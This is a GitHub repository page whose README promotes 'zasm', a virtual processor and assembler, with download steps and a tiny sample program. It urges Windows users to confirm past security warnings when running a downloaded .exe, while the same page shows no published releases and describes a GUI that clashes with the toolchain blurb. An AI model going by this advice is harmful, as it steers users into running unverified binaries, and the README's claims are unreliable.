Skip to content

SamruddhiS7/zasm

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

26 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

πŸŽ‰ zasm - A Simple Virtual Processor for WebAssembly

πŸš€ Getting Started

Welcome to zasm! This application allows you to run a 64-bit register-based virtual processor designed for the WebAssembly age. It is deterministic, modular, and lightweight. Whether you're just curious about how virtual processors work or looking to dive into low-level programming, you’re in the right place.

πŸ“₯ Download zasm

Download zasm

Follow the instructions below to get zasm running on your system.

πŸ› οΈ System Requirements

To run zasm smoothly, make sure your system meets the following requirements:

  • Operating System: Windows, macOS, or Linux
  • Memory: At least 2 GB of RAM
  • Disk Space: Minimum of 200 MB free space
  • Processor: A modern 64-bit processor

If your system meets these criteria, you are ready to go!

πŸ“š Features

  • Deterministic Execution: Ensure that your programs run exactly the same way every time.
  • Modular Design: Add or remove components easily based on your needs.
  • Low-Level Control: Gain insights into how virtual processors work at a fundamental level.
  • Compatibility with WebAssembly: Ideal for projects involving WebAssembly languages.
  • Static Analysis Tools: Analyze your code for errors before running it.

πŸ›‘οΈ Topics Covered

zasm focuses on various critical topics, including:

  • Assembler
  • Assembly
  • Compiling for WebAssembly
  • JSONL support
  • Linking processes
  • Static analysis

This makes it a versatile tool for both beginners and experts in programming.

πŸ“¦ Download & Install

To download zasm, visit the Releases page: Download zasm.

  1. Go to the Releases page.
  2. Find the latest version listed.
  3. Click on the version link to open the details.
  4. Download the appropriate file for your operating system (look for files ending in .exe for Windows, .dmg for macOS, or no extension for Linux).
  5. Once the file is downloaded, locate it on your system.

πŸ’» Running zasm

After downloading the file:

  1. Windows: Double-click the .exe file. If Windows prompts you with a security warning, confirm that you want to run the application.
  2. macOS: Open the downloaded .dmg file, then drag the zasm icon to your Applications folder. Open your Applications folder and double-click zasm.
  3. Linux: Open a terminal and navigate to the directory where you downloaded the file. Use the chmod +x <filename> command to make it executable, and then run it using ./<filename>.

πŸŽ‰ First Steps with zasm

Once you have zasm installed and running, it’s essential to familiarize yourself with its interface:

  • You'll find a simple and user-friendly layout.
  • Explore the menu options, which allow you to load, edit, and run assembly programs easily.

πŸ“ Creating Your First Assembly Program

  1. Open zasm.

  2. Start a new file from the menu.

  3. Write a simple program. For example:

    MOV r1, 5
    MOV r2, 10
    ADD r3, r1, r2
    
  4. Save your program with a .asm extension.

  5. Run your code using the Run option in the menu.

This process will allow you to see how zasm executes the instructions you've written.

πŸ“– Documentation

For further guidance and detailed explanations of features, check the official documentation within the application. You can also find helpful resources on common programming tasks.

🀝 Community Support

If you have questions or need assistance:

  • GitHub Issues: Use the Issues tab on this GitHub repository to report problems or request features.
  • Community Forums: Join discussions with other users who can share tips and best practices.

πŸ”— Important Links

Thank you for choosing zasm! We hope you find it useful and enjoyable for your programming journey.

About

πŸ”§ Build and run deterministic code with zasm, a virtual ISA and cross-compilation toolchain supporting arm64, x86_64, WASM, and RISC-V RV64I.

Topics

Resources

License

GPL-3.0, MIT licenses found

Licenses found

GPL-3.0
LICENSE
MIT
LICENSE-ASM

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors